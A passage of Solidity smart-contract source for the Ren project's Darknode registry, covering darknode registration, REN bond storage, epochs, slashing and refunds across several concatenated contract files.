returns (bytes memory) { return store.darknodePublicKey(_darknodeID); } /// @notice Retrieves a list of darknodes which are registered for the /// current epoch. /// @param _start A darknode ID used as an offset for the list. If _start is /// 0x0, the first dark node will be used. _start won't be /// included it is not registered for the epoch. /// @param _count The number of darknodes to retrieve starting from _start. /// If _count is 0, all of the darknodes from _start are /// retrieved. If _count is more than the remaining number of /// registered darknodes, the rest of the list will contain /// 0x0s. function getDarknodes(address _start, uint256 _count) external view returns (address[] memory) { uint256 count = _count; if (count == 0) { count = numDarknodes; } return getDarknodesFromEpochs(_start, count, false); } /// @notice Retrieves a list of darknodes which were registered for the /// previous epoch. See `getDarknodes` for the parameter documentation. function getPreviousDarknodes(address _start, uint256 _count) external view returns (address[] memory) { uint256 count = _count; if (count == 0) { count = numDarknodesPreviousEpoch; } return getDarknodesFromEpochs(_start, count, true); } /// @notice Returns whether a darknode is scheduled to become registered /// at next epoch. /// @param _darknodeID The ID of the darknode to return. function isPendingRegistration(address _darknodeID) public view returns (bool) { uint256 registeredAt = store.darknodeRegisteredAt(_darknodeID); return registeredAt != 0 && registeredAt > currentEpoch.blocktime; } /// @notice Returns if a darknode is in the pending deregistered state. In /// this state a darknode is still considered registered. function isPendingDeregistration(address _darknodeID) public view returns (bool) { uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID); return deregisteredAt != 0 && deregisteredAt > currentEpoch.blocktime; } /// @notice Returns if a darknode is in the deregistered state. function isDeregistered(address _darknodeID) public view returns (bool) { uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID); return _isDeregistered(deregisteredAt, currentEpoch); } /// @notice Returns if a darknode can be deregistered. This is true if the /// darknodes is in the registered state and has not attempted to /// deregister yet. function isDeregisterable(address _darknodeID) public view returns (bool) { DarknodeRegistryStore _store = store; uint256 deregisteredAt = _store.darknodeDeregisteredAt(_darknodeID); bool registered = isRegisteredInEpoch( _store.darknodeRegisteredAt(_darknodeID), deregisteredAt, currentEpoch ); return _isDeregisterable(registered, deregisteredAt); } /// @notice Returns if a darknode is in the refunded state. This is true /// for darknodes that have never been registered, or darknodes that have /// been deregistered and refunded. function isRefunded(address _darknodeID) public view returns (bool) { DarknodeRegistryStore _store = store; uint256 registeredAt = _store.darknodeRegisteredAt(_darknodeID); uint256 deregisteredAt = _store.darknodeDeregisteredAt(_darknodeID); return _isRefunded(registeredAt, deregisteredAt); } /// @notice Returns if a darknode is refundable. This is true for darknodes /// that have been in the deregistered state for one full epoch. function isRefundable(address _darknodeID) public view returns (bool) { uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID); bool deregistered = _isDeregistered(deregisteredAt, currentEpoch); return _isRefundable( deregistered, deregisteredAt, previousEpoch, deregistrationInterval ); } /// @notice Returns the registration time of a given darknode. function darknodeRegisteredAt(address darknodeID) external view returns (uint256) { return store.darknodeRegisteredAt(darknodeID); } /// @notice Returns the deregistration time of a given darknode. function darknodeDeregisteredAt(address darknodeID) external view returns (uint256) { return store.darknodeDeregisteredAt(darknodeID); } /// @notice Returns if a darknode is in the registered state. function isRegistered(address _darknodeID) public view returns (bool) { DarknodeRegistryStore _store = store; uint256 registeredAt = _store.darknodeRegisteredAt(_darknodeID); uint256 deregisteredAt = _store.darknodeDeregisteredAt(_darknodeID); return isRegisteredInEpoch(registeredAt, deregisteredAt, currentEpoch); } /// @notice Returns if a darknode was in the registered state last epoch. function isRegisteredInPreviousEpoch(address _darknodeID) public view returns (bool) { DarknodeRegistryStore _store = store; uint256 registeredAt = _store.darknodeRegisteredAt(_darknodeID); uint256 deregisteredAt = _store.darknodeDeregisteredAt(_darknodeID); return isRegisteredInEpoch(registeredAt, deregisteredAt, previousEpoch); } /// @notice Returns the darknodes registered by the provided operator. /// @dev THIS IS AN EXPENSIVE CALL - this should only called when using /// eth_call contract reads - not in transactions. function getOperatorDarknodes(address _operator) external view returns (address[] memory) { address[] memory nodesPadded = new address[](numDarknodes); address[] memory allNodes = getDarknodesFromEpochs( address(0), numDarknodes, false ); uint256 j = 0; for (uint256 i = 0; i < allNodes.length; i++) { if (store.darknodeOperator(allNodes[i]) == _operator) { nodesPadded[j] = (allNodes[i]); j++; } } address[] memory nodes = new address[](j); for (uint256 i = 0; i < j; i++) { nodes[i] = nodesPadded[i]; } return nodes; } /// @notice Returns if a darknode was in the registered state for a given /// epoch. /// @param _epoch One of currentEpoch, previousEpoch. function isRegisteredInEpoch( uint256 _registeredAt, uint256 _deregisteredAt, Epoch memory _epoch ) private pure returns (bool) { bool registered = _registeredAt != 0 && _registeredAt <= _epoch.blocktime; bool notDeregistered = _deregisteredAt == 0 || _deregisteredAt > _epoch.blocktime; // The Darknode has been registered and has not yet been deregistered, // although it might be pending deregistration return registered && notDeregistered; } /// Private function called by `isDeregistered`, `isRefundable`, and `refundMultiple`. function _isDeregistered( uint256 _deregisteredAt, Epoch memory _currentEpoch ) private pure returns (bool) { return _deregisteredAt != 0 && _deregisteredAt <= _currentEpoch.blocktime; } /// Private function called by `isDeregisterable` and `deregisterMultiple`. function _isDeregisterable(bool _registered, uint256 _deregisteredAt) private pure returns (bool) { // The Darknode is currently in the registered state and has not been // transitioned to the pending deregistration, or deregistered, state return _registered && _deregisteredAt == 0; } /// Private function called by `isRefunded` and `registerMultiple`. function _isRefunded(uint256 registeredAt, uint256 deregisteredAt) private pure returns (bool) { return registeredAt == 0 && deregisteredAt == 0; } /// Private function called by `isRefundable` and `refundMultiple`. function _isRefundable( bool _deregistered, uint256 _deregisteredAt, Epoch memory _previousEpoch, uint256 _deregistrationInterval ) private pure returns (bool) { return _deregistered && _deregisteredAt <= (_previousEpoch.blocktime - _deregistrationInterval); } /// @notice Returns a list of darknodes registered for either the current /// or the previous epoch. See `getDarknodes` for documentation on the /// parameters `_start` and `_count`. /// @param _usePreviousEpoch If true, use the previous epoch, otherwise use /// the current epoch. function getDarknodesFromEpochs( address _start, uint256 _count, bool _usePreviousEpoch ) private view returns (address[] memory) { uint256 count = _count; if (count == 0) { count = numDarknodes; } address[] memory nodes = new address[](count); // Begin with the first node in the list uint256 n = 0; address next = _start; if (next == address(0)) { next = store.begin(); } // Iterate until all registered Darknodes have been collected while (n < count) { if (next == address(0)) { break; } // Only include Darknodes that are currently registered bool includeNext; if (_usePreviousEpoch) { includeNext = isRegisteredInPreviousEpoch(next); } else { includeNext = isRegistered(next); } if (!includeNext) { next = store.next(next); continue; } nodes[n] = next; next = store.next(next); n += 1; } return nodes; } /// Private function called by `deregister` and `slash` function deregisterDarknode(address _darknodeID) private { address darknodeOperator = store.darknodeOperator(_darknodeID); // Flag the darknode for deregistration store.updateDarknodeDeregisteredAt( _darknodeID, currentEpoch.blocktime.add(minimumEpochInterval) ); numDarknodesNextEpoch = numDarknodesNextEpoch.sub(1); // Emit an event emit LogDarknodeDeregistered(darknodeOperator, _darknodeID); } function getDarknodeCountFromEpochs() private view returns ( uint256, uint256, uint256 ) { // Begin with the first node in the list uint256 nPreviousEpoch = 0; uint256 nCurrentEpoch = 0; uint256 nNextEpoch = 0; address next = store.begin(); // Iterate until all registered Darknodes have been collected while (true) { // End of darknode list. if (next == address(0)) { break; } if (isRegisteredInPreviousEpoch(next)) { nPreviousEpoch += 1; } if (isRegistered(next)) { nCurrentEpoch += 1; } // Darknode is registered and has not deregistered, or is pending // becoming registered. if ( ((isRegistered(next) && !isPendingDeregistration(next)) || isPendingRegistration(next)) ) { nNextEpoch += 1; } next = store.next(next); } return (nPreviousEpoch, nCurrentEpoch, nNextEpoch); } } /* solium-disable-next-line no-empty-blocks */ contract DarknodeRegistryProxy is InitializableAdminUpgradeabilityProxy { } pragma solidity 0.5.17; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "../Governance/Claimable.sol"; import "../libraries/LinkedList.sol"; import "../RenToken/RenToken.sol"; import "../libraries/CanReclaimTokens.sol"; /// @notice This contract stores data and funds for the DarknodeRegistry /// contract. The data / fund logic and storage have been separated to improve /// upgradability. contract DarknodeRegistryStore is Claimable, CanReclaimTokens { using SafeMath for uint256; string public VERSION; // Passed in as a constructor parameter. /// @notice Darknodes are stored in the darknode struct. The owner is the /// address that registered the darknode, the bond is the amount of REN that /// was transferred during registration, and the public key is the /// encryption key that should be used when sending sensitive information to /// the darknode. struct Darknode { // The owner of a Darknode is the address that called the register // function. The owner is the only address that is allowed to // deregister the Darknode, unless the Darknode is slashed for // malicious behavior. address payable owner; // The bond is the amount of REN submitted as a bond by the Darknode. // This amount is reduced when the Darknode is slashed for malicious // behavior. uint256 bond; // The block number at which the Darknode is considered registered. uint256 registeredAt; // The block number at which the Darknode is considered deregistered. uint256 deregisteredAt; // The public key used by this Darknode for encrypting sensitive data // off chain. It is assumed that the Darknode has access to the // respective private key, and that there is an agreement on the format // of the public key. bytes publicKey; } /// Registry data. mapping(address => Darknode) private darknodeRegistry; LinkedList.List private darknodes; // RenToken. RenToken public ren; /// @notice The contract constructor. /// /// @param _VERSION A string defining the contract version. /// @param _ren The address of the RenToken contract. constructor(string memory _VERSION, RenToken _ren) public { Claimable.initialize(msg.sender); CanReclaimTokens.initialize(msg.sender); VERSION = _VERSION; ren = _ren; blacklistRecoverableToken(address(ren)); } /// @notice Instantiates a darknode and appends it to the darknodes /// linked-list. /// /// @param _darknodeID The darknode's ID. /// @param _darknodeOperator The darknode's owner's address. /// @param _bond The darknode's bond value. /// @param _publicKey The darknode's public key. /// @param _registeredAt The time stamp when the darknode is registered. /// @param _deregisteredAt The time stamp when the darknode is deregistered. function appendDarknode( address _darknodeID, address payable _darknodeOperator, uint256 _bond, bytes calldata _publicKey, uint256 _registeredAt, uint256 _deregisteredAt ) external onlyOwner { Darknode memory darknode = Darknode({ owner: _darknodeOperator, bond: _bond, publicKey: _publicKey, registeredAt: _registeredAt, deregisteredAt: _deregisteredAt }); darknodeRegistry[_darknodeID] = darknode; LinkedList.append(darknodes, _darknodeID); } /// @notice Returns the address of the first darknode in the store. function begin() external view onlyOwner returns (address) { return LinkedList.begin(darknodes); } /// @notice Returns the address of the next darknode in the store after the /// given address. function next(address darknodeID) external view onlyOwner returns (address) { return LinkedList.next(darknodes, darknodeID); } /// @notice Removes a darknode from the store and transfers its bond to the /// owner of this contract. function removeDarknode(address darknodeID) external onlyOwner { uint256 bond = darknodeRegistry[darknodeID].bond; delete darknodeRegistry[darknodeID]; LinkedList.remove(darknodes, darknodeID); require( ren.transfer(owner(), bond), "DarknodeRegistryStore: bond transfer failed" ); } /// @notice Updates the bond of a darknode. The new bond must be smaller /// than the previous bond of the darknode. function updateDarknodeBond(address darknodeID, uint256 decreasedBond) external onlyOwner { uint256 previousBond = darknodeRegistry[darknodeID].bond; require( decreasedBond < previousBond, "DarknodeRegistryStore: bond not decreased" ); darknodeRegistry[darknodeID].bond = decreasedBond; require( ren.transfer(owner(), previousBond.sub(decreasedBond)), "DarknodeRegistryStore: bond transfer failed" ); } /// @notice Updates the deregistration timestamp of a darknode. function updateDarknodeDeregisteredAt( address darknodeID, uint256 deregisteredAt ) external onlyOwner { darknodeRegistry[darknodeID].deregisteredAt = deregisteredAt; } /// @notice Returns the owner of a given darknode. function darknodeOperator(address darknodeID) external view onlyOwner returns (address payable) { return darknodeRegistry[darknodeID].owner; } /// @notice Returns the bond of a given darknode. function darknodeBond(address darknodeID) external view onlyOwner returns (uint256) { return darknodeRegistry[darknodeID].bond; } /// @notice Returns the registration time of a given darknode. function darknodeRegisteredAt(address darknodeID) external view onlyOwner returns (uint256) { return darknodeRegistry[darknodeID].registeredAt; } /// @notice Returns the deregistration time of a given darknode. function darknodeDeregisteredAt(address darknodeID) external view onlyOwner returns (uint256) { return darknodeRegistry[darknodeID].deregisteredAt; } /// @notice Returns the encryption public key of a given darknode. function darknodePublicKey(address darknodeID) external view onlyOwner returns (bytes memory) { return darknodeRegistry[darknodeID].publicKey; } } pragma solidity 0.5.17; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "@openzeppelin/upgrades/contracts/upgradeability/InitializableAdminUpgradeabilityProxy.sol"; import "@openzeppelin/upgrades/contracts/Initializable.sol"; import "../RenToken/RenToken.sol"; import "./DarknodeRegistryStore.sol"; import "../Governance/Claimable.sol"; import "../libraries/CanReclaimTokens.sol"; interface IDarknodePaymentStore {} interface IDarknodePayment { function changeCycle() external returns (uint256); function store() external view returns (IDarknodePaymentStore); } interface IDarknodeSlasher {} contract DarknodeRegistryStateV1 { using SafeMath for uint256; string public VERSION; // Passed in as a constructor parameter. /// @notice Darknode pods are shuffled after a fixed number of blocks. /// An Epoch stores an epoch hash used as an (insecure) RNG seed, and the /// blocknumber which restricts when the next epoch can be called. struct Epoch { uint256 epochhash; uint256 blocktime; } uint256 public numDarknodes; uint256 public numDarknodesNextEpoch; uint256 public numDarknodesPreviousEpoch; /// Variables used to parameterize behavior. uint256 public minimumBond; uint256 public minimumPodSize; uint256 public minimumEpochInterval; uint256 public deregistrationInterval; /// When one of the above variables is modified, it is only updated when the /// next epoch is called. These variables store the values for the next /// epoch. uint256 public nextMinimumBond; uint256 public nextMinimumPodSize; uint256 public nextMinimumEpochInterval; /// The current and previous epoch. Epoch public currentEpoch; Epoch public previousEpoch; /// REN ERC20 contract used to transfer bonds. RenToken public ren; /// Darknode Registry Store is the storage contract for darknodes. DarknodeRegistryStore public store; /// The Darknode Payment contract for changing cycle. IDarknodePayment public darknodePayment; /// Darknode Slasher allows darknodes to vote on bond slashing. IDarknodeSlasher public slasher; IDarknodeSlasher public nextSlasher; } /// @notice DarknodeRegistry is responsible for the registration and /// deregistration of Darknodes. contract DarknodeRegistryLogicV1 is Claimable, CanReclaimTokens, DarknodeRegistryStateV1 { /// @notice Emitted when a darknode is registered. /// @param _darknodeOperator The owner of the darknode. /// @param _darknodeID The ID of the darknode that was registered. /// @param _bond The amount of REN that was transferred as bond. event LogDarknodeRegistered( address indexed _darknodeOperator, address indexed _darknodeID, uint256 _bond ); /// @notice Emitted when a darknode is deregistered. /// @param _darknodeOperator The owner of the darknode. /// @param _darknodeID The ID of the darknode that was deregistered. event LogDarknodeDeregistered( address indexed _darknodeOperator, address indexed _darknodeID ); /// @notice Emitted when a refund has been made. /// @param _darknodeOperator The owner of the darknode. /// @param _amount The amount of REN that was refunded. event LogDarknodeRefunded( address indexed _darknodeOperator, address indexed _darknodeID, uint256 _amount ); /// @notice Emitted when a darknode's bond is slashed. /// @param _darknodeOperator The owner of the darknode. /// @param _darknodeID The ID of the darknode that was slashed. /// @param _challenger The address of the account that submitted the challenge. /// @param _percentage The total percentage of bond slashed. event LogDarknodeSlashed( address indexed _darknodeOperator, address indexed _darknodeID, address indexed _challenger, uint256 _percentage ); /// @notice Emitted when a new epoch has begun. event LogNewEpoch(uint256 indexed epochhash); /// @notice Emitted when a constructor parameter has been updated. event LogMinimumBondUpdated( uint256 _previousMinimumBond, uint256 _nextMinimumBond ); event LogMinimumPodSizeUpdated( uint256 _previousMinimumPodSize, uint256 _nextMinimumPodSize ); event LogMinimumEpochIntervalUpdated( uint256 _previousMinimumEpochInterval, uint256 _nextMinimumEpochInterval ); event LogSlasherUpdated( address indexed _previousSlasher, address indexed _nextSlasher ); event LogDarknodePaymentUpdated( IDarknodePayment indexed _previousDarknodePayment, IDarknodePayment indexed _nextDarknodePayment ); /// @notice Restrict a function to the owner that registered the darknode. modifier onlyDarknodeOperator(address _darknodeID) { require( store.darknodeOperator(_darknodeID) == msg.sender, "DarknodeRegistry: must be darknode owner" ); _; } /// @notice Restrict a function to unregistered darknodes. modifier onlyRefunded(address _darknodeID) { require( isRefunded(_darknodeID), "DarknodeRegistry: must be refunded or never registered" ); _; } /// @notice Restrict a function to refundable darknodes. modifier onlyRefundable(address _darknodeID) { require( isRefundable(_darknodeID), "DarknodeRegistry: must be deregistered for at least one epoch" ); _; } /// @notice Restrict a function to registered nodes without a pending /// deregistration. modifier onlyDeregisterable(address _darknodeID) { require( isDeregisterable(_darknodeID), "DarknodeRegistry: must be deregisterable" ); _; } /// @notice Restrict a function to the Slasher contract. modifier onlySlasher() { require( address(slasher) == msg.sender, "DarknodeRegistry: must be slasher" ); _; } /// @notice Restrict a function to registered nodes without a pending /// deregistration. modifier onlyDarknode(address _darknodeID) { require( isRegistered(_darknodeID), "DarknodeRegistry: invalid darknode" ); _; } /// @notice The contract constructor. /// /// @param _VERSION A string defining the contract version. /// @param _renAddress The address of the RenToken contract. /// @param _storeAddress The address of the DarknodeRegistryStore contract. /// @param _minimumBond The minimum bond amount that can be submitted by a /// Darknode. /// @param _minimumPodSize The minimum size of a Darknode pod. /// @param _minimumEpochIntervalSeconds The minimum number of seconds between epochs. function initialize( string memory _VERSION, RenToken _renAddress, DarknodeRegistryStore _storeAddress, uint256 _minimumBond, uint256 _minimumPodSize, uint256 _minimumEpochIntervalSeconds, uint256 _deregistrationIntervalSeconds ) public initializer { Claimable.initialize(msg.sender); CanReclaimTokens.initialize(msg.sender); VERSION = _VERSION; store = _storeAddress; ren = _renAddress; minimumBond = _minimumBond; nextMinimumBond = minimumBond; minimumPodSize = _minimumPodSize; nextMinimumPodSize = minimumPodSize; minimumEpochInterval = _minimumEpochIntervalSeconds; nextMinimumEpochInterval = minimumEpochInterval; deregistrationInterval = _deregistrationIntervalSeconds; uint256 epochhash = uint256(blockhash(block.number - 1)); currentEpoch = Epoch({ epochhash: epochhash, blocktime: block.timestamp }); emit LogNewEpoch(epochhash); } /// @notice Register a darknode and transfer the bond to this contract. /// Before registering, the bond transfer must be approved in the REN /// contract. The caller must provide a public encryption key for the /// darknode. The darknode will remain pending registration until the next /// epoch. Only after this period can the darknode be deregistered. The /// caller of this method will be stored as the owner of the darknode. /// /// @param _darknodeID The darknode ID that will be registered. /// @param _publicKey The public key of the darknode. It is stored to allow /// other darknodes and traders to encrypt messages to the trader. function register(address _darknodeID, bytes calldata _publicKey) external onlyRefunded(_darknodeID) { require( _darknodeID != address(0), "DarknodeRegistry: darknode address cannot be zero" ); // Use the current minimum bond as the darknode's bond and transfer bond to store require( ren.transferFrom(msg.sender, address(store), minimumBond), "DarknodeRegistry: bond transfer failed" ); // Flag this darknode for registration store.appendDarknode( _darknodeID, msg.sender, minimumBond, _publicKey, currentEpoch.blocktime.add(minimumEpochInterval), 0 ); numDarknodesNextEpoch = numDarknodesNextEpoch.add(1); // Emit an event. emit LogDarknodeRegistered(msg.sender, _darknodeID, minimumBond); } /// @notice Deregister a darknode. The darknode will not be deregistered /// until the end of the epoch. After another epoch, the bond can be /// refunded by calling the refund method. /// @param _darknodeID The darknode ID that will be deregistered. The caller /// of this method must be the owner of this darknode. function deregister(address _darknodeID) external onlyDeregisterable(_darknodeID) onlyDarknodeOperator(_darknodeID) { deregisterDarknode(_darknodeID); } /// @notice Progress the epoch if it is possible to do so. This captures /// the current timestamp and current blockhash and overrides the current /// epoch. function epoch() external { if (previousEpoch.blocktime == 0) { // The first epoch must be called by the owner of the contract require( msg.sender == owner(), "DarknodeRegistry: not authorized to call first epoch" ); } // Require that the epoch interval has passed require( block.timestamp >= currentEpoch.blocktime.add(minimumEpochInterval), "DarknodeRegistry: epoch interval has not passed" ); uint256 epochhash = uint256(blockhash(block.number - 1)); // Update the epoch hash and timestamp previousEpoch = currentEpoch; currentEpoch = Epoch({ epochhash: epochhash, blocktime: block.timestamp }); // Update the registry information numDarknodesPreviousEpoch = numDarknodes; numDarknodes = numDarknodesNextEpoch; // If any update functions have been called, update the values now if (nextMinimumBond != minimumBond) { minimumBond = nextMinimumBond; emit LogMinimumBondUpdated(minimumBond, nextMinimumBond); } if (nextMinimumPodSize != minimumPodSize) { minimumPodSize = nextMinimumPodSize; emit LogMinimumPodSizeUpdated(minimumPodSize, nextMinimumPodSize); } if (nextMinimumEpochInterval != minimumEpochInterval) { minimumEpochInterval = nextMinimumEpochInterval; emit LogMinimumEpochIntervalUpdated( minimumEpochInterval, nextMinimumEpochInterval ); } if (nextSlasher != slasher) { slasher = nextSlasher; emit LogSlasherUpdated(address(slasher), address(nextSlasher)); } if (address(darknodePayment) != address(0x0)) { darknodePayment.changeCycle(); } // Emit an event emit LogNewEpoch(epochhash); } /// @notice Allows the contract owner to initiate an ownership transfer of /// the DarknodeRegistryStore. /// @param _newOwner The address to transfer the ownership to. function transferStoreOwnership(DarknodeRegistryLogicV1 _newOwner) external onlyOwner { store.transferOwnership(address(_newOwner)); _newOwner.claimStoreOwnership(); } /// @notice Claims ownership of the store passed in to the constructor. /// `transferStoreOwnership` must have previously been called when /// transferring from another Darknode Registry. function claimStoreOwnership() external { store.claimOwnership(); // Sync state with new store. // Note: numDarknodesPreviousEpoch is set to 0 for a newly deployed DNR. ( numDarknodesPreviousEpoch, numDarknodes, numDarknodesNextEpoch ) = getDarknodeCountFromEpochs(); } /// @notice Allows the contract owner to update the address of the /// darknode payment contract. /// @param _darknodePayment The address of the Darknode Payment /// contract. function updateDarknodePayment(IDarknodePayment _darknodePayment) external onlyOwner { require( address(_darknodePayment) != address(0x0), "DarknodeRegistry: invalid Darknode Payment address" ); IDarknodePayment previousDarknodePayment = darknodePayment; darknodePayment = _darknodePayment; emit LogDarknodePaymentUpdated( previousDarknodePayment, darknodePayment ); } /// @notice Allows the contract owner to update the minimum bond. /// @param _nextMinimumBond The minimum bond amount that can be submitted by /// a darknode. function updateMinimumBond(uint256 _nextMinimumBond) external onlyOwner { // Will be updated next epoch nextMinimumBond = _nextMinimumBond; } /// @notice Allows the contract owner to update the minimum pod size. /// @param _nextMinimumPodSize The minimum size of a pod. function updateMinimumPodSize(uint256 _nextMinimumPodSize) external onlyOwner { // Will be updated next epoch nextMinimumPodSize = _nextMinimumPodSize; } /// @notice Allows the contract owner to update the minimum epoch interval. /// @param _nextMinimumEpochInterval The minimum number of blocks between epochs. function updateMinimumEpochInterval(uint256 _nextMinimumEpochInterval) external onlyOwner { // Will be updated next epoch nextMinimumEpochInterval = _nextMinimumEpochInterval; } /// @notice Allow the contract owner to update the DarknodeSlasher contract /// address. /// @param _slasher The new slasher address. function updateSlasher(IDarknodeSlasher _slasher) external onlyOwner { require( address(_slasher) != address(0), "DarknodeRegistry: invalid slasher address" ); nextSlasher = _slasher; } /// @notice Allow the DarknodeSlasher contract to slash a portion of darknode's /// bond and deregister it. /// @param _guilty The guilty prover whose bond is being slashed. /// @param _challenger The challenger who should receive a portion of the bond as reward. /// @param _percentage The total percentage of bond to be slashed. function slash( address _guilty, address _challenger, uint256 _percentage ) external onlySlasher onlyDarknode(_guilty) { require(_percentage <= 100, "DarknodeRegistry: invalid percent"); // If the darknode has not been deregistered then deregister it if (isDeregisterable(_guilty)) { deregisterDarknode(_guilty); } uint256 totalBond = store.darknodeBond(_guilty); uint256 penalty = totalBond.div(100).mul(_percentage); uint256 challengerReward = penalty.div(2); uint256 darknodePaymentReward = penalty.sub(challengerReward); if (challengerReward > 0) { // Slash the bond of the failed prover store.updateDarknodeBond(_guilty, totalBond.sub(penalty)); // Distribute the remaining bond into the darknode payment reward pool require( address(darknodePayment) != address(0x0), "DarknodeRegistry: invalid payment address" ); require( ren.transfer( address(darknodePayment.store()), darknodePaymentReward ), "DarknodeRegistry: reward transfer failed" ); require( ren.transfer(_challenger, challengerReward), "DarknodeRegistry: reward transfer failed" ); } emit LogDarknodeSlashed( store.darknodeOperator(_guilty), _guilty, _challenger, _percentage ); } /// @notice Refund the bond of a deregistered darknode. This will make the /// darknode available for registration again. Anyone can call this function /// but the bond will always be refunded to the darknode operator. /// /// @param _darknodeID The darknode ID that will be refunded. function refund(address _darknodeID) external onlyRefundable(_darknodeID) { address darknodeOperator = store.darknodeOperator(_darknodeID); // Remember the bond amount uint256 amount = store.darknodeBond(_darknodeID); // Erase the darknode from the registry store.removeDarknode(_darknodeID); // Refund the operator by transferring REN require( ren.transfer(darknodeOperator, amount), "DarknodeRegistry: bond transfer failed" ); // Emit an event. emit LogDarknodeRefunded(darknodeOperator, _darknodeID, amount); } /// @notice Retrieves the address of the account that registered a darknode. /// @param _darknodeID The ID of the darknode to retrieve the owner for. function getDarknodeOperator(address _darknodeID) external view returns (address payable) { return store.darknodeOperator(_darknodeID); } /// @notice Retrieves the bond amount of a darknode in 10^-18 REN. /// @param _darknodeID The ID of the darknode to retrieve the bond for. function getDarknodeBond(address _darknodeID) external view returns (uint256) { return store.darknodeBond(_darknodeID); } /// @notice Retrieves the encryption public key of the darknode. /// @param _darknodeID The ID of the darknode to retrieve the public key for. function getDarknodePublicKey(address _darknodeID) external view returns (bytes memory) { return store.darknodePublicKey(_darknodeID); } /// @notice Retrieves a list of darknodes which are registered for the /// current epoch. /// @param _start A darknode ID used as an offset for the list. If _start is /// 0x0, the first dark node will be used. _start won't be /// included it is not registered for the epoch. /// @param _count The number of darknodes to retrieve starting from _start. /// If _count is 0, all of the darknodes from _start are /// retrieved. If _count is more than the remaining number of /// registered darknodes, the rest of the list will contain /// 0x0s. function getDarknodes(address _start, uint256 _count) external view returns (address[] memory) { uint256 count = _count; if (count == 0) { count = numDarknodes; } return getDarknodesFromEpochs(_start, count, false); } /// @notice Retrieves a list of darknodes which were registered for the /// previous epoch. See `getDarknodes` for the parameter documentation. function getPreviousDarknodes(address _start, uint256 _count) external view returns (address[] memory) { uint256 count = _count; if (count == 0) { count = numDarknodesPreviousEpoch; } return getDarknodesFromEpochs(_start, count, true); } /// @notice Returns whether a darknode is scheduled to become registered /// at next epoch. /// @param _darknodeID The ID of the darknode to return. function isPendingRegistration(address _darknodeID) public view returns (bool) { uint256 registeredAt = store.darknodeRegisteredAt(_darknodeID); return registeredAt != 0 && registeredAt > currentEpoch.blocktime; } /// @notice Returns if a darknode is in the pending deregistered state. In /// this state a darknode is still considered registered. function isPendingDeregistration(address _darknodeID) public view returns (bool) { uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID); return deregisteredAt != 0 && deregisteredAt > currentEpoch.blocktime; } /// @notice Returns if a darknode is in the deregistered state. function isDeregistered(address _darknodeID) public view returns (bool) { uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID); return deregisteredAt != 0 && deregisteredAt <= currentEpoch.blocktime; } /// @notice Returns if a darknode can be deregistered. This is true if the /// darknodes is in the registered state and has not attempted to /// deregister yet. function isDeregisterable(address _darknodeID) public view returns (bool) { uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID); // The Darknode is currently in the registered state and has not been // transitioned to the pending deregistration, or deregistered, state return isRegistered(_darknodeID) && deregisteredAt == 0; } /// @notice Returns if a darknode is in the refunded state. This is true /// for darknodes that have never been registered, or darknodes that have /// been deregistered and refunded. function isRefunded(address _darknodeID) public view returns (bool) { uint256 registeredAt = store.darknodeRegisteredAt(_darknodeID); uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID); return registeredAt == 0 && deregisteredAt == 0; } /// @notice Returns if a darknode is refundable. This is true for darknodes /// that have been in the deregistered state for one full epoch. function isRefundable(address _darknodeID) public view returns (bool) { return isDeregistered(_darknodeID) && store.darknodeDeregisteredAt(_darknodeID) <= (previousEpoch.blocktime - deregistrationInterval); } /// @notice Returns the registration time of a given darknode. function darknodeRegisteredAt(address darknodeID) external view returns (uint256) { return store.darknodeRegisteredAt(darknodeID); } /// @notice Returns the deregistration time of a given darknode. function darknodeDeregisteredAt(address darknodeID) external view returns (uint256) { return store.darknodeDeregisteredAt(darknodeID); } /// @notice Returns if a darknode is in the registered state. function isRegistered(address _darknodeID) public view returns (bool) { return isRegisteredInEpoch(_darknodeID, currentEpoch); } /// @notice Returns if a darknode was in the registered state last epoch. function isRegisteredInPreviousEpoch(address _darknodeID) public view returns (bool) { return isRegisteredInEpoch(_darknodeID, previousEpoch); } /// @notice Returns if a darknode was in the registered state for a given /// epoch. /// @param _darknodeID The ID of the darknode. /// @param _epoch One of currentEpoch, previousEpoch. function isRegisteredInEpoch(address _darknodeID, Epoch memory _epoch) private view returns (bool) { uint256 registeredAt = store.darknodeRegisteredAt(_darknodeID); uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID); bool registered = registeredAt != 0 && registeredAt <= _epoch.blocktime; bool notDeregistered = deregisteredAt == 0 || deregisteredAt > _epoch.blocktime; // The Darknode has been registered and has not yet been deregistered, // although it might be pending deregistration return registered && notDeregistered; } /// @notice Returns a list of darknodes registered for either the current /// or the previous epoch. See `getDarknodes` for documentation on the /// parameters `_start` and `_count`. /// @param _usePreviousEpoch If true, use the previous epoch, otherwise use /// the current epoch. function getDarknodesFromEpochs( address _start, uint256 _count, bool _usePreviousEpoch ) private view returns (address[] memory) { uint256 count = _count; if (count == 0) { count = numDarknodes; } address[] memory nodes = new address[](count); // Begin with the first node in the list uint256 n = 0; address next = _start; if (next == address(0)) { next = store.begin(); } // Iterate until all registered Darknodes have been collected while (n < count) { if (next == address(0)) { break; } // Only include Darknodes that are currently registered bool includeNext; if (_usePreviousEpoch) { includeNext = isRegisteredInPreviousEpoch(next); } else { includeNext = isRegistered(next); } if (!includeNext) { next = store.next(next); continue; } nodes[n] = next; next = store.next(next); n += 1; } return nodes; } /// Private function called by `deregister` and `slash` function deregisterDarknode(address _darknodeID) private { address darknodeOperator = store.darknodeOperator(_darknodeID); // Flag the darknode for deregistration store.updateDarknodeDeregisteredAt( _darknodeID, currentEpoch.blocktime.add(minimumEpochInterval) ); numDarknodesNextEpoch = numDarknodesNextEpoch.sub(1); // Emit an event emit LogDarknodeDeregistered(darknodeOperator, _darknodeID); } function getDarknodeCountFromEpochs() private view returns ( uint256, uint256, uint256 ) { // Begin with the first node in the list uint256 nPreviousEpoch = 0; uint256 nCurrentEpoch = 0; uint256 nNextEpoch = 0; address next = store.begin(); // Iterate until all registered Darknodes have been collected while (true) { // End of darknode list. if (next == address(0)) { break; } if (isRegisteredInPreviousEpoch(next)) { 